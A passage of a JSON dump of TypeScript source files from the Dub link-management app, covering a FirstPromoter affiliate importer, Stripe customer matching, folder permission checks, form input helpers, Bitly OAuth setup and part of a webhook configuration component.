    "content": "import { prisma } from \"@dub/prisma\";\nimport {\n  PartnerGroup,\n  PartnerGroupDefaultLink,\n  PlatformType,\n  Program,\n} from \"@dub/prisma/client\";\nimport { isRejected, nanoid } from \"@dub/utils\";\nimport { createId } from \"../api/create-id\";\nimport { bulkCreateLinks } from \"../api/links\";\nimport { upsertPartnerPlatform } from \"../api/partner-profile/upsert-partner-platform\";\nimport { DEFAULT_PARTNER_GROUP } from \"../zod/schemas/groups\";\nimport { FirstPromoterApi } from \"./api\";\nimport { firstPromoterImporter, MAX_BATCHES } from \"./importer\";\nimport { FirstPromoterImportPayload, FirstPromoterPartner } from \"./types\";\n\nexport async function importPartners(payload: FirstPromoterImportPayload) {\n  const { userId, programId, page = 1 } = payload;\n\n  const program = await prisma.program.findUniqueOrThrow({\n    where: {\n      id: programId,\n    },\n    include: {\n      groups: {\n        include: {\n          partnerGroupDefaultLinks: true,\n        },\n      },\n    },\n  });\n\n  const { groups } = program;\n\n  // Default group will always be created in the program creation\n  const defaultGroup = groups.find(\n    (group) => group.slug === DEFAULT_PARTNER_GROUP.slug,\n  )!;\n\n  const credentials = await firstPromoterImporter.getCredentials(\n    program.workspaceId,\n  );\n\n  const firstPromoterApi = new FirstPromoterApi(credentials);\n\n  let hasMore = true;\n  let processedBatches = 0;\n  let currentPage = page;\n\n  while (processedBatches < MAX_BATCHES) {\n    const affiliates = await firstPromoterApi.listPartners({\n      page: currentPage,\n    });\n\n    if (affiliates.length === 0) {\n      hasMore = false;\n      break;\n    }\n\n    const campaignMap = Object.fromEntries(\n      groups.map((group) => [group.name, group]),\n    );\n\n    if (affiliates.length > 0) {\n      const results = await Promise.allSettled(\n        affiliates.map((affiliate) => {\n          const promoterCampaigns = affiliate.promoter_campaigns;\n\n          const group =\n            promoterCampaigns.length > 0\n              ? campaignMap[promoterCampaigns[0].campaign.name] ?? defaultGroup\n              : defaultGroup;\n\n          return createPartnerAndLinks({\n            program,\n            affiliate,\n            group,\n            userId,\n          });\n        }),\n      );\n\n      // Log any errors that occurred\n      results.forEach((result, index) => {\n        if (isRejected(result)) {\n          console.error(\n            `Failed to import affiliate ${affiliates[index]?.email}:`,\n            result.reason,\n          );\n        }\n      });\n    }\n\n    currentPage++;\n    processedBatches++;\n  }\n\n  await firstPromoterImporter.queue({\n    ...payload,\n    action: hasMore ? \"import-partners\" : \"import-customers\",\n    page: hasMore ? currentPage : undefined,\n  });\n}\n\n// Create partner and their links\nasync function createPartnerAndLinks({\n  program,\n  affiliate,\n  group,\n  userId,\n}: {\n  program: Program;\n  affiliate: FirstPromoterPartner;\n  group: PartnerGroup & { partnerGroupDefaultLinks: PartnerGroupDefaultLink[] };\n  userId: string;\n}) {\n  const partner = await prisma.partner.upsert({\n    where: {\n      email: affiliate.email,\n    },\n    create: {\n      id: createId({ prefix: \"pn_\" }),\n      name: affiliate.name,\n      email: affiliate.email,\n      image: affiliate.profile.avatar,\n      description: affiliate.profile.description,\n      country: affiliate.profile.country,\n      companyName: affiliate.profile.company_name,\n      invoiceSettings: {\n        ...(affiliate.profile.address && {\n          address: affiliate.profile.address,\n        }),\n      },\n    },\n    update: {},\n  });\n\n  const socialPlatformFields: Record<PlatformType, string | null> = {\n    website: affiliate.profile.website,\n    youtube: affiliate.profile.youtube_url,\n    twitter: affiliate.profile.twitter_url,\n    linkedin: affiliate.profile.linkedin_url,\n    instagram: affiliate.profile.instagram_url,\n    tiktok: affiliate.profile.tiktok_url,\n  };\n\n  const socialPlatformEntries = Object.entries(socialPlatformFields) as [\n    PlatformType,\n    string | null,\n  ][];\n\n  const entriesWithHandles = socialPlatformEntries.filter(\n    ([, identifier]) =>\n      typeof identifier === \"string\" && identifier.trim().length > 0,\n  );\n\n  if (entriesWithHandles.length > 0) {\n    await Promise.allSettled(\n      entriesWithHandles.map(([platform, identifier]) =>\n        upsertPartnerPlatform({\n          where: {\n            partnerId: partner.id,\n            type: platform,\n          },\n          data: {\n            identifier: identifier!.trim(),\n          },\n        }),\n      ),\n    );\n  }\n\n  const programEnrollment = await prisma.programEnrollment.upsert({\n    where: {\n      partnerId_programId: {\n        partnerId: partner.id,\n        programId: program.id,\n      },\n    },\n    create: {\n      id: createId({ prefix: \"pge_\" }),\n      programId: program.id,\n      partnerId: partner.id,\n      status: \"approved\",\n      groupId: group.id,\n      clickRewardId: group.clickRewardId,\n      leadRewardId: group.leadRewardId,\n      saleRewardId: group.saleRewardId,\n      discountId: group.discountId,\n    },\n    update: {\n      status: \"approved\",\n    },\n    include: {\n      links: true,\n    },\n  });\n\n  if (!program.domain || !program.url) {\n    console.error(\"Program domain or url not found\", program.id);\n    return;\n  }\n\n  if (programEnrollment.links.length > 0) {\n    console.log(\"Partner already has links\", partner.id);\n    return;\n  }\n\n  const links = affiliate.promoter_campaigns.map((campaign, idx) => ({\n    key: campaign.ref_token || nanoid(),\n    domain: program.domain!,\n    url: program.url!,\n    programId: program.id,\n    projectId: program.workspaceId,\n    folderId: program.defaultFolderId,\n    partnerId: partner.id,\n    trackConversion: true,\n    userId,\n    partnerGroupDefaultLinkId:\n      idx === 0 ? group.partnerGroupDefaultLinks[0]?.id ?? null : null,\n  }));\n\n  await bulkCreateLinks({\n    links,\n  });\n}\n"
  },
  {
    "path": "apps/web/lib/firstpromoter/importer.ts",
    "content": "import { qstash } from \"@/lib/cron\";\nimport { redis } from \"@/lib/upstash\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\nimport { FirstPromoterCredentials, FirstPromoterImportPayload } from \"./types\";\n\nexport const PAGE_LIMIT = 100;\nexport const MAX_BATCHES = 10;\nexport const CACHE_EXPIRY = 60 * 60 * 24;\nexport const CACHE_KEY_PREFIX = \"firstpromoter:import\";\n\nclass FirstPromoterImporter {\n  async setCredentials(workspaceId: string, payload: FirstPromoterCredentials) {\n    await redis.set(`${CACHE_KEY_PREFIX}:${workspaceId}`, payload, {\n      ex: CACHE_EXPIRY,\n    });\n  }\n\n  async getCredentials(workspaceId: string): Promise<FirstPromoterCredentials> {\n    const config = await redis.get<FirstPromoterCredentials>(\n      `${CACHE_KEY_PREFIX}:${workspaceId}`,\n    );\n\n    if (!config) {\n      throw new Error(\"FirstPromoter configuration not found.\");\n    }\n\n    return config;\n  }\n\n  async deleteCredentials(workspaceId: string) {\n    return await redis.del(`${CACHE_KEY_PREFIX}:${workspaceId}`);\n  }\n\n  async queue(body: FirstPromoterImportPayload) {\n    return await qstash.publishJSON({\n      url: `${APP_DOMAIN_WITH_NGROK}/api/cron/import/firstpromoter`,\n      body,\n      contentBasedDeduplication: true,\n    });\n  }\n}\n\nexport const firstPromoterImporter = new FirstPromoterImporter();\n"
  },
  {
    "path": "apps/web/lib/firstpromoter/schemas.ts",
    "content": "import * as z from \"zod/v4\";\n\nexport const firstPromoterImportSteps = z.enum([\n  \"import-campaigns\",\n  \"import-partners\",\n  \"import-customers\",\n  \"import-commissions\",\n  \"update-stripe-customers\",\n]);\n\nexport const firstPromoterCredentialsSchema = z.object({\n  apiKey: z.string().min(1),\n  accountId: z.string().min(1),\n});\n\nexport const firstPromoterImportPayloadSchema = z.object({\n  action: firstPromoterImportSteps,\n  importId: z.string(),\n  userId: z.string(),\n  programId: z.string(),\n  page: z.number().optional().describe(\"FP pagination\"),\n  startingAfter: z.string().optional().describe(\"Internal pagination\"),\n});\n\nexport const firstPromoterCampaignSchema = z.object({\n  campaign: z.object({\n    id: z.number(),\n    name: z.string(),\n  }),\n});\n\nexport const firstPromoterPartnerSchema = z.object({\n  id: z.number(),\n  email: z.string(),\n  name: z.string(),\n  profile: z.object({\n    id: z.number(),\n    website: z\n      .string()\n      .nullable()\n      .transform((val) => val || null),\n    company_name: z\n      .string()\n      .nullable()\n      .transform((val) => val || null),\n    country: z\n      .string()\n      .nullable()\n      .transform((val) => val || null),\n    address: z\n      .string()\n      .nullable()\n      .transform((val) => val || null),\n    avatar: z\n      .string()\n      .nullable()\n      .transform((val) => val || null),\n    description: z\n      .string()\n      .nullable()\n      .transform((val) => val || null),\n    youtube_url: z\n      .string()\n      .nullable()\n      .transform((val) => val || null),\n    twitter_url: z\n      .string()\n      .nullable()\n      .transform((val) => val || null),\n    linkedin_url: z\n      .string()\n      .nullable()\n      .transform((val) => val || null),\n    instagram_url: z\n      .string()\n      .nullable()\n      .transform((val) => val || null),\n    tiktok_url: z\n      .string()\n      .nullable()\n      .transform((val) => val || null),\n  }),\n  promoter_campaigns: z.array(\n    z.object({\n      campaign: z.object({\n        name: z.string(),\n      }),\n      ref_token: z.string().nullable(),\n    }),\n  ),\n});\n\nexport const firstPromoterCustomerSchema = z.object({\n  id: z.number(),\n  email: z.string(),\n  first_name: z.string().nullable(),\n  last_name: z.string().nullable(),\n  uid: z.string().nullable(),\n  created_at: z.string(),\n  customer_since: z.string().nullable(),\n  metadata: z.record(z.string(), z.any()).nullable(),\n  promoter_campaign: z.object({\n    promoter: firstPromoterPartnerSchema.pick({\n      email: true,\n    }),\n  }),\n});\n\nexport const firstPromoterCommissionSchema = z.object({\n  id: z.number(),\n  status: z.enum([\"pending\", \"approved\", \"denied\"]),\n  metadata: z.record(z.string(), z.any()).nullable(),\n  is_self_referral: z.boolean().nullable(),\n  commission_type: z.enum([\"sale\", \"custom\"]),\n  sale_amount: z.number(),\n  amount: z.number(),\n  is_paid: z.boolean(),\n  is_split: z.boolean(),\n  created_at: z.string(),\n  original_sale_amount: z.number(),\n  original_sale_currency: z.string().nullable(),\n  external_note: z.string().nullable(),\n  unit: z.enum([\n    \"cash\",\n    \"credits\",\n    \"points\",\n    \"free_months\",\n    \"mon_discount\",\n    \"discount_per\",\n  ]),\n  fraud_check: z\n    .enum([\n      \"no_suspicion\",\n      \"same_ip_suspicion\",\n      \"same_promoter_email\",\n      \"ad_source\",\n    ])\n    .nullable(),\n  referral: firstPromoterCustomerSchema\n    .pick({\n      email: true,\n      uid: true,\n    })\n    .nullish(),\n});\n"
  },
  {
    "path": "apps/web/lib/firstpromoter/types.ts",
    "content": "import * as z from \"zod/v4\";\nimport {\n  firstPromoterCommissionSchema,\n  firstPromoterCredentialsSchema,\n  firstPromoterCustomerSchema,\n  firstPromoterImportPayloadSchema,\n  firstPromoterPartnerSchema,\n} from \"./schemas\";\n\nexport type FirstPromoterCredentials = z.infer<\n  typeof firstPromoterCredentialsSchema\n>;\n\nexport type FirstPromoterImportPayload = z.infer<\n  typeof firstPromoterImportPayloadSchema\n>;\n\nexport type FirstPromoterPartner = z.infer<typeof firstPromoterPartnerSchema>;\n\nexport type FirstPromoterCustomer = z.infer<typeof firstPromoterCustomerSchema>;\n\nexport type FirstPromoterCommission = z.infer<\n  typeof firstPromoterCommissionSchema\n>;\n"
  },
  {
    "path": "apps/web/lib/firstpromoter/update-stripe-customers.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { Customer, Project } from \"@dub/prisma/client\";\nimport Stripe from \"stripe\";\nimport { stripeAppClient } from \"../stripe\";\nimport { logImportError } from \"../tinybird/log-import-error\";\nimport { firstPromoterImporter, MAX_BATCHES } from \"./importer\";\nimport { FirstPromoterImportPayload } from \"./types\";\n\nconst CUSTOMERS_PER_BATCH = 20;\n\nconst stripe = stripeAppClient({\n  ...(process.env.VERCEL_ENV && { mode: \"live\" }),\n});\n\n// FirstPromoter API doesn't return the Stripe customer ID,\n// so we'll search for Stripe customers by email and update the customer record with the Stripe customer ID, if found.\nexport async function updateStripeCustomers(\n  payload: FirstPromoterImportPayload,\n) {\n  let { importId, programId, startingAfter } = payload;\n\n  const { workspace } = await prisma.program.findUniqueOrThrow({\n    where: {\n      id: programId,\n    },\n    select: {\n      workspace: {\n        select: {\n          id: true,\n          slug: true,\n          stripeConnectId: true,\n        },\n      },\n    },\n  });\n\n  if (!workspace.stripeConnectId) {\n    console.error(\n      `Workspace ${workspace.id} has no stripeConnectId. Skipping...`,\n    );\n    return;\n  }\n\n  let hasMore = true;\n  let processedBatches = 0;\n\n  while (processedBatches < MAX_BATCHES) {\n    const customers = await prisma.customer.findMany({\n      where: {\n        projectId: workspace.id,\n        stripeCustomerId: null,\n      },\n      select: {\n        id: true,\n        email: true,\n      },\n      orderBy: {\n        id: \"asc\",\n      },\n      take: CUSTOMERS_PER_BATCH,\n      skip: startingAfter ? 1 : 0,\n      ...(startingAfter && {\n        cursor: {\n          id: startingAfter,\n        },\n      }),\n    });\n\n    if (customers.length === 0) {\n      hasMore = false;\n      break;\n    }\n\n    await Promise.allSettled(\n      customers.map((customer) =>\n        searchStripeAndUpdateCustomer({\n          workspace,\n          customer,\n          importId,\n        }),\n      ),\n    );\n\n    await new Promise((resolve) => setTimeout(resolve, 2000));\n\n    processedBatches++;\n    startingAfter = customers[customers.length - 1].id;\n  }\n\n  if (hasMore) {\n    return await firstPromoterImporter.queue({\n      ...payload,\n      startingAfter,\n      action: \"update-stripe-customers\",\n    });\n  }\n}\n\nasync function searchStripeAndUpdateCustomer({\n  workspace,\n  customer,\n  importId,\n}: {\n  workspace: Pick<Project, \"id\" | \"slug\" | \"stripeConnectId\">;\n  customer: Pick<Customer, \"id\" | \"email\">;\n  importId: string;\n}) {\n  const commonImportLogInputs = {\n    workspace_id: workspace.id,\n    import_id: importId,\n    source: \"firstpromoter\",\n    entity: \"customer\",\n    entity_id: customer.id,\n  } as const;\n\n  try {\n    const stripeCustomers = await stripe.customers.search(\n      {\n        query: `email:'${customer.email}'`,\n        expand: [\"data.subscriptions\"],\n      },\n      {\n        stripeAccount: workspace.stripeConnectId!,\n      },\n    );\n\n    if (stripeCustomers.data.length === 0) {\n      await logImportError({\n        ...commonImportLogInputs,\n        code: \"STRIPE_CUSTOMER_NOT_FOUND\",\n        message: `Stripe search returned no customer for ${customer.email}`,\n      });\n\n      return null;\n    }\n\n    let stripeCustomer: Stripe.Customer;\n\n    if (stripeCustomers.data.length > 1) {\n      // look for the one with metadata.fp_uid set\n      const firstPromoterStripeCustomer = stripeCustomers.data.find(\n        ({ metadata }) => metadata.fp_uid,\n      );\n\n      if (firstPromoterStripeCustomer) {\n        stripeCustomer = firstPromoterStripeCustomer;\n      } else {\n        // look for the one with subscriptions\n        const customerWithSubcription = stripeCustomers.data.find(\n          ({ subscriptions }) => subscriptions && subscriptions.data.length > 0,\n        );\n\n        if (customerWithSubcription) {\n          console.log(\n            `Found Stripe customer with subscriptions for ${customer.email}: ${customerWithSubcription.id}`,\n          );\n          stripeCustomer = customerWithSubcription;\n        } else {\n          await logImportError({\n            ...commonImportLogInputs,\n            code: \"STRIPE_CUSTOMER_NOT_FOUND\",\n            message: `Stripe search returned multiple customers for ${customer.email} for workspace ${workspace.slug} and none had metadata.fp_uid set`,\n          });\n          return null;\n        }\n      }\n    } else {\n      stripeCustomer = stripeCustomers.data[0];\n    }\n\n    await prisma.customer.update({\n      where: {\n        id: customer.id,\n      },\n      data: {\n        stripeCustomerId: stripeCustomer.id,\n      },\n    });\n\n    console.log(\n      `Updated customer ${customer.id} with Stripe customer ID ${stripeCustomer.id}`,\n    );\n  } catch (error) {\n    console.error(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/lib/folder/constants.ts",
    "content": "import { FolderPermission, FolderSummary } from \"@/lib/types\";\nimport { FolderAccessLevel, FolderUserRole } from \"@dub/prisma/client\";\n\nexport const FOLDER_WORKSPACE_ACCESS: Record<FolderAccessLevel, string> = {\n  write: \"Can edit\",\n  read: \"Can view\",\n} as const;\n\nexport const FOLDER_USER_ROLE: Record<FolderUserRole, string> = {\n  owner: \"Owner\",\n  editor: \"Editor\",\n  viewer: \"Viewer\",\n} as const;\n\nexport const FOLDER_PERMISSIONS = [\n  \"folders.read\", // Read access to the folder\n  \"folders.write\", // Full access to the folder\n  \"folders.links.write\", // Manage links in the folder\n  \"folders.users.write\", // Manage folder users\n] as const;\n\nexport const FOLDER_WORKSPACE_ACCESS_TO_FOLDER_USER_ROLE: Record<\n  FolderAccessLevel,\n  FolderUserRole\n> = {\n  read: \"viewer\",\n  write: \"editor\",\n} as const;\n\nexport const FOLDER_USER_ROLE_TO_PERMISSIONS: Record<\n  FolderUserRole,\n  FolderPermission[]\n> = {\n  owner: [\n    \"folders.read\",\n    \"folders.write\",\n    \"folders.links.write\",\n    \"folders.users.write\",\n  ],\n  editor: [\"folders.read\", \"folders.links.write\"],\n  viewer: [\"folders.read\"],\n} as const;\n\nexport const unsortedLinks: FolderSummary = {\n  id: \"unsorted\",\n  name: \"Links\",\n  description: \"Unsorted links\",\n  accessLevel: \"write\",\n};\n"
  },
  {
    "path": "apps/web/lib/folder/get-folder-or-throw.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { DubApiError } from \"../api/errors\";\n\nexport const getFolderOrThrow = async ({\n  workspaceId,\n  userId,\n  folderId,\n}: {\n  workspaceId: string;\n  userId: string;\n  folderId: string;\n}) => {\n  const folder = await prisma.folder.findUnique({\n    where: {\n      id: folderId,\n    },\n    select: {\n      id: true,\n      name: true,\n      description: true,\n      type: true,\n      accessLevel: true,\n      createdAt: true,\n      updatedAt: true,\n      projectId: true,\n      users: {\n        where: {\n          userId,\n        },\n        take: 1,\n      },\n    },\n  });\n\n  if (!folder) {\n    throw new DubApiError({\n      code: \"not_found\",\n      message: \"Folder not found.\",\n    });\n  }\n\n  if (folder.projectId !== workspaceId) {\n    throw new DubApiError({\n      code: \"not_found\",\n      message: \"Folder does not belong to the workspace.\",\n    });\n  }\n\n  return {\n    id: folder.id,\n    name: folder.name,\n    description: folder.description,\n    type: folder.type,\n    accessLevel: folder.accessLevel,\n    createdAt: folder.createdAt,\n    updatedAt: folder.updatedAt,\n    user: folder.users.length > 0 ? folder.users[0] : null,\n  };\n};\n"
  },
  {
    "path": "apps/web/lib/folder/get-folders.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { FolderType, WorkspaceRole } from \"@dub/prisma/client\";\nimport { FOLDERS_MAX_PAGE_SIZE } from \"../zod/schemas/folders\";\n\nexport const getFolders = async ({\n  workspaceId,\n  userId,\n  search,\n  type,\n  pageSize = FOLDERS_MAX_PAGE_SIZE,\n  page = 1,\n}: {\n  workspaceId: string;\n  userId: string;\n  search?: string;\n  type?: FolderType;\n  pageSize?: number;\n  page?: number;\n}) => {\n  const workspaceUser = await prisma.projectUsers.findUnique({\n    select: {\n      role: true,\n    },\n    where: {\n      userId_projectId: {\n        userId,\n        projectId: workspaceId,\n      },\n    },\n  });\n\n  return await prisma.folder.findMany({\n    where: {\n      projectId: workspaceId,\n      ...(workspaceUser?.role !== WorkspaceRole.owner\n        ? {\n            OR: [\n              {\n                accessLevel: {\n                  not: null,\n                },\n              },\n              {\n                users: {\n                  some: {\n                    userId,\n                    role: {\n                      not: null,\n                    },\n                  },\n                },\n              },\n            ],\n            users: {\n              none: {\n                userId,\n                role: null,\n              },\n            },\n          }\n        : {}),\n      ...(search && {\n        name: {\n          contains: search,\n        },\n      }),\n      type,\n    },\n    select: {\n      id: true,\n      name: true,\n      description: true,\n      type: true,\n      accessLevel: true,\n      createdAt: true,\n      updatedAt: true,\n    },\n    orderBy: {\n      createdAt: \"asc\",\n    },\n    take: pageSize,\n    skip: (page - 1) * pageSize,\n  });\n};\n"
  },
  {
    "path": "apps/web/lib/folder/permissions.ts",
    "content": "\"server-only\";\n\nimport { Folder, FolderPermission } from \"@/lib/types\";\nimport { prisma } from \"@dub/prisma\";\nimport {\n  FolderUser,\n  FolderUserRole,\n  Project,\n  WorkspaceRole,\n} from \"@dub/prisma/client\";\nimport { DubApiError } from \"../api/errors\";\nimport { getPlanCapabilities } from \"../plan-capabilities\";\nimport {\n  FOLDER_USER_ROLE_TO_PERMISSIONS,\n  FOLDER_WORKSPACE_ACCESS_TO_FOLDER_USER_ROLE,\n} from \"./constants\";\nimport { getFolderOrThrow } from \"./get-folder-or-throw\";\n\nexport const verifyFolderAccess = async ({\n  workspace,\n  userId,\n  folderId,\n  requiredPermission,\n}: {\n  workspace: Pick<Project, \"id\" | \"plan\"> & {\n    users: { role: WorkspaceRole }[];\n  };\n  userId: string;\n  folderId: string;\n  requiredPermission: FolderPermission;\n}) => {\n  const folder = await getFolderOrThrow({\n    workspaceId: workspace.id,\n    folderId,\n    userId,\n  });\n\n  // Workspace owners have full control over all folders\n  if (workspace.users[0]?.role === WorkspaceRole.owner) {\n    return folder;\n  }\n\n  const { canManageFolderPermissions } = getPlanCapabilities(workspace.plan);\n\n  // If the plan doesn't support folder permissions, we can skip the check\n  if (!canManageFolderPermissions) {\n    return folder;\n  }\n\n  const folderUserRole = findFolderUserRole({\n    folder,\n    user: folder.user,\n    workspaceRole: workspace.users[0]?.role,\n  });\n\n  if (!folderUserRole) {\n    throw new DubApiError({\n      code: \"forbidden\",\n      message: \"You are not allowed to perform this action on this folder.\",\n    });\n  }\n\n  const permissions = getFolderPermissions(folderUserRole);\n\n  if (!permissions.includes(requiredPermission)) {\n    throw new DubApiError({\n      code: \"forbidden\",\n      message: \"You are not allowed to perform this action on this folder.\",\n    });\n  }\n\n  return folder;\n};\n\nexport const verifyFolderAccessBulk = async ({\n  workspace,\n  userId,\n  folderIds,\n  requiredPermission,\n}: {\n  workspace: Pick<Project, \"id\" | \"plan\"> & {\n    users: { role: WorkspaceRole }[];\n  };\n  userId: string;\n  folderIds: string[];\n  requiredPermission: FolderPermission;\n}) => {\n  // Workspace owners have full control over all folders\n  if (workspace.users[0]?.role === WorkspaceRole.owner) {\n    return folderIds.map((folderId) => ({\n      folderId,\n      hasPermission: true,\n    }));\n  }\n\n  const folders = await prisma.folder.findMany({\n    where: {\n      projectId: workspace.id,\n      id: {\n        in: folderIds,\n      },\n    },\n    include: {\n      users: {\n        where: {\n          userId,\n        },\n        take: 1,\n      },\n    },\n  });\n\n  return folders.map((folder) => {\n    const folderUserRole = findFolderUserRole({\n      folder,\n      user: folder.users[0],\n      workspaceRole: workspace.users[0]?.role,\n    });\n\n    if (folderUserRole == null) {\n      return {\n        folderId: folder.id,\n        hasPermission: false,\n      };\n    }\n\n    const permissions = getFolderPermissions(folderUserRole);\n\n    return {\n      folderId: folder.id,\n      hasPermission: permissions.includes(requiredPermission),\n    };\n  });\n};\n\nexport const findFolderUserRole = ({\n  folder,\n  user,\n  workspaceRole,\n}: {\n  folder: Pick<Folder, \"accessLevel\">;\n  user: Pick<FolderUser, \"role\"> | null;\n  workspaceRole: WorkspaceRole;\n}) => {\n  if (workspaceRole === WorkspaceRole.owner) {\n    return FolderUserRole.owner;\n  }\n\n  if (user) {\n    return user.role;\n  }\n\n  if (!folder.accessLevel) {\n    return null;\n  }\n\n  return FOLDER_WORKSPACE_ACCESS_TO_FOLDER_USER_ROLE[folder.accessLevel];\n};\n\n// Get the permissions for a folder for a given user role\nexport const getFolderPermissions = (role: string | null) => {\n  if (!role) {\n    return [];\n  }\n\n  return FOLDER_USER_ROLE_TO_PERMISSIONS[role] || [];\n};\n"
  },
  {
    "path": "apps/web/lib/form-utils.ts",
    "content": "import { type ChangeEvent, type KeyboardEvent } from \"react\";\n\nexport const handleMoneyKeyDown = (e: KeyboardEvent<HTMLInputElement>) => {\n  // Allow: backspace, delete, tab, escape, enter, decimal point, and CMD/CTRL+A\n  if (\n    e.key === \"Backspace\" ||\n    e.key === \"Delete\" ||\n    e.key === \"Tab\" ||\n    e.key === \"Escape\" ||\n    e.key === \"Enter\" ||\n    e.key === \"ArrowLeft\" ||\n    e.key === \"ArrowRight\" ||\n    e.key === \"ArrowUp\" ||\n    e.key === \"ArrowDown\" ||\n    (e.key === \".\" && !e.currentTarget.value.includes(\".\")) ||\n    (e.key === \"a\" && (e.metaKey || e.ctrlKey)) // Allow CMD+A or CTRL+A\n  ) {\n    return;\n  }\n\n  // Ensure that it is a number and stop the keypress\n  if (!/^\\d$/.test(e.key)) {\n    e.preventDefault();\n  }\n};\n\nexport const handleMoneyInputChange = (e: ChangeEvent<HTMLInputElement>) => {\n  const value = e.target.value;\n\n  // If the new value is empty, allow it\n  if (value === \"\") {\n    return;\n  }\n\n  // If we have a single decimal point, ensure it's not the first character\n  if (value === \".\") {\n    e.target.value = \"0.\";\n    return;\n  }\n\n  // Remove leading zeros unless it's a decimal number between 0 and 1\n  if (value.length > 1 && value[0] === \"0\" && value[1] !== \".\") {\n    e.target.value = value.replace(/^0+/, \"\");\n    return;\n  }\n\n  // Limit to 2 decimal places\n  const parts = value.split(\".\");\n  if (parts[1]?.length > 2) {\n    e.target.value = `${parts[0]}.${parts[1].slice(0, 2)}`;\n  }\n};\n"
  },
  {
    "path": "apps/web/lib/get-highest-severity.ts",
    "content": "import { FRAUD_SEVERITY_CONFIG } from \"@/lib/api/fraud/constants\";\nimport { FraudRuleInfo, FraudSeverity } from \"@/lib/types\";\n\nexport function getHighestSeverity(\n  triggeredRules: FraudRuleInfo[],\n): FraudSeverity | null {\n  let highest: FraudSeverity | null = null;\n  let highestRank = -Infinity;\n\n  for (const { severity } of triggeredRules) {\n    if (!severity) continue;\n\n    const rank = FRAUD_SEVERITY_CONFIG[severity].rank;\n\n    if (rank > highestRank) {\n      highest = severity;\n      highestRank = rank;\n    }\n  }\n\n  return highest;\n}\n"
  },
  {
    "path": "apps/web/lib/get-integration-guide-markdown.ts",
    "content": "\"server-only\";\n\nimport { readFile } from \"fs/promises\";\nimport { join } from \"path\";\n\nexport async function getIntegrationGuideMarkdown(\n  guideKey: string,\n): Promise<string | null> {\n  const sanitizedKey = guideKey.replace(/[^a-zA-Z0-9-_]/g, \"\");\n\n  if (sanitizedKey !== guideKey) {\n    return null;\n  }\n\n  // Use a more explicit path construction to satisfy the linter\n  const guidesDirectory = join(process.cwd(), \"guides\");\n  const markdownPath = join(guidesDirectory, `${sanitizedKey}.md`);\n\n  // Additional security check: ensure the path is within the expected directory\n  if (!markdownPath.startsWith(guidesDirectory)) {\n    return null;\n  }\n\n  try {\n    return await readFile(markdownPath, \"utf-8\");\n  } catch (error) {\n    return null;\n  }\n}\n"
  },
  {
    "path": "apps/web/lib/hooks/use-synced-local-storage.ts",
    "content": "import { useLocalStorage } from \"@dub/ui\";\nimport { useEffect } from \"react\";\n\n// Create a custom event channel for syncing\nconst createStorageEventChannel = () => {\n  const listeners = new Set<(key: string, newValue: string) => void>();\n\n  return {\n    emit: (key: string, newValue: string) => {\n      listeners.forEach((listener) => listener(key, newValue));\n    },\n    subscribe: (listener: (key: string, newValue: string) => void) => {\n      listeners.add(listener);\n      return () => listeners.delete(listener);\n    },\n  };\n};\n\nconst storageEventChannel = createStorageEventChannel();\n\nexport function useSyncedLocalStorage<T>(\n  key: string,\n  initialValue: T,\n): [T, (value: T | ((val: T) => T)) => void] {\n  const [value, setValueOriginal] = useLocalStorage<T>(key, initialValue);\n\n  // Wrap the original setValue to emit events\n  const setValue = (newValue: T | ((val: T) => T)) => {\n    if (typeof newValue === \"function\") {\n      const updater = newValue as (val: T) => T;\n      const nextValue = updater(value);\n      setValueOriginal(nextValue);\n      storageEventChannel.emit(key, JSON.stringify(nextValue));\n    } else {\n      setValueOriginal(newValue);\n      storageEventChannel.emit(key, JSON.stringify(newValue));\n    }\n  };\n\n  useEffect(() => {\n    // Listen for both storage events (cross-window) and custom events (same-window)\n    const handleStorageChange = (e: StorageEvent) => {\n      if (e.key === key && e.newValue !== null) {\n        setValueOriginal(JSON.parse(e.newValue));\n      }\n    };\n\n    const handleCustomEvent = (eventKey: string, newValue: string) => {\n      if (eventKey === key) {\n        setValueOriginal(JSON.parse(newValue));\n      }\n    };\n\n    window.addEventListener(\"storage\", handleStorageChange);\n    const unsubscribe = storageEventChannel.subscribe(handleCustomEvent);\n\n    return () => {\n      window.removeEventListener(\"storage\", handleStorageChange);\n      unsubscribe();\n    };\n  }, [key, setValueOriginal]);\n\n  return [value, setValue];\n}\n"
  },
  {
    "path": "apps/web/lib/integrations/bitly/oauth.ts",
    "content": "import { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\nimport { OAuthProvider } from \"../oauth-provider\";\n\nexport const bitlyOAuthProvider = new OAuthProvider({\n  name: \"Bitly\",\n  clientId: process.env.BITLY_CLIENT_ID!,\n  clientSecret: process.env.BITLY_CLIENT_SECRET!,\n  authUrl: \"https://bitly.com/oauth/authorize\",\n  tokenUrl: \"https://api-ssl.bitly.com/oauth/access_token\",\n  redirectUri: `${APP_DOMAIN_WITH_NGROK}/api/callback/bitly`,\n  redisStatePrefix: \"bitly:oauth:state\",\n  tokenSchema: z.string(),\n  bodyFormat: \"form\",\n  authorizationMethod: \"body\",\n  responseFormat: \"text\",\n});\n"
  },
  {
    "path": "apps/web/lib/integrations/common/ui/configure-webhook.tsx",
    "content": "\"use client\";\n\nimport { clientAccessCheck } from \"@/lib/client-access-check\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { WebhookProps, WebhookTrigger } from \"@/lib/types\";\nimport {\n  LINK_LEVEL_WEBHOOK_TRIGGERS,\n  PROGRAM_LEVEL_WEBHOOK_TRIGGERS,\n  WEBHOOK_TRIGGER_DESCRIPTIONS,\n  WORKSPACE_LEVEL_WEBHOOK_TRIGGERS,\n} from \"@/lib/webhook/constants\";\nimport { Link } from \"@/ui/shared/icons\";\nimport { LinksSelector } from \"@/ui/webhooks/link-selector\";\nimport { Button, Checkbox } from \"@dub/ui\";\nimport { fetcher } from \"@dub/utils\";\nimport { cn } from \"@dub/utils/src/functions\";\nimport { FormEvent, useEffect, useState } from \"react\";\nimport { toast } from \"sonner\";\nimport useSWR, { mutate } from \"swr\";\n\nexport function ConfigureWebhook({\n  webhookId,\n  supportedEvents,\n}: {\n  webhookId: string;\n  supportedEvents: WebhookTrigger[]; // Not all integrations support all events.\n}) {\n  const [saving, setSaving] = useState(false);\n  const { id: workspaceId, plan, role, 